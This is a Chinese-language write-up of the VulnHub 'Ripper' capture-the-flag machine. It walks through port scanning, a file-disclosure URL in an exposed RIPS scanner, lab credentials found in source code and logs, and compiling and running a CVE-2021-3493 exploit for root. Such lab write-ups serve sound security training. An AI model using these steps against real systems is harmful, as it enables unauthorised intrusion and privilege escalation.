靶机介绍

1)靶机地址:https://download.vulnhub.com/ripper/Ripper.ova

2)靶机难度:低→中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息搜索、内部系统泄漏、代码审计、备份文件泄密、Webmin漏洞利用、Metasploit、CVE-2021-3493

5)靶机简介:本次来打靶一台中低难度的靶机,其中不包含任何高难度的漏洞,要攻破它主要依靠信息收集。很多企业由于权限管理不当,会误将内部应用发布到公网之上,甚至可能连最基本的身份认证都不需要就可以直接访问。对于该靶机,不需要暴力破解,即可搜索发现内网代码审计平台的入口,进而自动审计目标应用的代码漏洞,并最终实现突破边界。提权阶段,我们仍然依靠信息收集手段登录Webmin平台,并利用其自身功能获取目标系统的最高权限。

打靶过程

1)主机发现

# arp-scan --interface=eth1 --localnet

2)全端口扫描

# nmap -p- 192.168.56.125

3)服务版本扫描

# nmap -p22,80,10000 -sC -sV  192.168.56.125

webmin是一个基于web界面可以对服务器操作系统进行远程管理的web应用

4)访问靶机的80端口和10000端口上的应用

①先访问http://192.168.56.125返回的只是一个apache的起始页面,同时访问http://192.168.56.125/robots.txt显示不存在

②访问http://192.168.56.125:10000/,显示web服务是使用的ssl协议,因此通过https进行访问

http://192.168.56.125:10000/
https://192.168.56.125:10000/

如果可以使用用户名和密码登录至该系统,就可打开一个类似ssh的终端用于管理服务器操作系统,尝试多个弱口令都未能登陆至目标系统

5)通过尝试发现,在10000端口的web服务中存在robots.txt文件

http://192.168.56.125:10000/robots.txt

通过访问robots.txt文件,发现了一串base64编码后的字符,对其进行解码

# echo "d2Ugc2NhbiBwaHAgY29kZXMgd2l0aCByaXBzCg==" |base64 -d

根据解码后的内容可知:可以使用rips扫描php代码。rips是一个静态的PHP源码分析软件

RIPS官网:https://rips-scanner.sourceforge.net/

6)尝试在目标靶机的80端口和10000端口分别查看是否存在rips的web应用,发现在80端口上存在rips

https://192.168.56.125:10000/rips     #404
http://192.168.56.125/rips        

7)使用rips对目标服务器上的站点进行漏洞扫描,勾选subdir表示同时对/var/www下的任何目录下的php文件都进行漏洞检测

搜索发现多个文件泄露的漏洞,可以进行简单利用,读取源码

http://192.168.56.125/rips/windows/code.php?file=/var/www/html/rips/windows/code.php

8)通过使用rips在所有的php文件检索pass,检索到一个用户名 ripper和密码Gamespeopleplay

9)尝试使用用户名 ripper和密码Gamespeopleplay登录webmin失败,尝试通过ssh登录成功

# ssh ripper@192.168.56.125

10)信息搜集:查看操作系统内核版本及系统版本,发现使用的是ubuntu18.04版本,根据之前打靶可知,该版本的操作系统存在CVE-2021-3493漏洞

$ uname -a
$ lsb_release -a

11)z使用CVE-2021-3493进行提权

kali:
CVE-2021-3493下载地址:https://github.com//briskets//CVE-2021-3493
# unzip CVE-2021-3493-main.zip
# rm -rf CVE-2021-3493-main.zip
# cd CVE-2021-3493-main
# gcc -o exp exploit.c
# scp exp ripper@192.168.56.125:~

12)直接使用漏洞利用代码进行提权,获取flag

$ ./exp

注:靶机是在2021年6月份发布,但是CVE-2021-3493是在2021年9月份公布的,所以在靶机作者在发布靶机时,该漏洞还没有公布,所以次靶机还有其他的提权方式

13)按照第九步的,通过用户名 ripper和密码Gamespeopleplay使用ssh服务登陆只目标系统后,可在自己的家目录下获取到第一个flag文件

14)在/home目录下,除了ripper用户外,还存在一个cubes用户。

找出在操作系统中属主为cubes用户的文件,同时该文件允许ripper可以读取或者执行,进而通过这些文件可以提权至cubes用户

$ find / -user cubes -type f -exec ls -la {} \; 2>/dev/null

通过查找发现,存在一个secret.file文件,该文件中包含一个密码Il00tpeople

15)尝试通过用户名cubes和密码Il00tpeople登录web系统或者使用ssh协议登录。发现通过ssh可成功登入目标系统

# ssh cubes@192.168.56.125

16)登入系统后,通用查看当前系统中属主为cubes的文件过滤出来

$ find / -user cubes -type f -exec ls -la {} \; 2>/dev/null |grep -v "proc" |grep -v ".png"

在/var/webmin/backup/miniser.log文件中存在一个用户名admin和密码tokiohotel

$ cat /var/webmin/backup/miniser.log

17)尝试通过用户名admin和密码tokiohotel登录webmin应用程序,发现可成功登录

18)打开webmin应用的命令行管理界面,发现权限为root权限,可直接获取到flag

19)获取到webmin的用户名和密码后,也可使用MSF获取到目标靶机的shell

# searchsploit webmin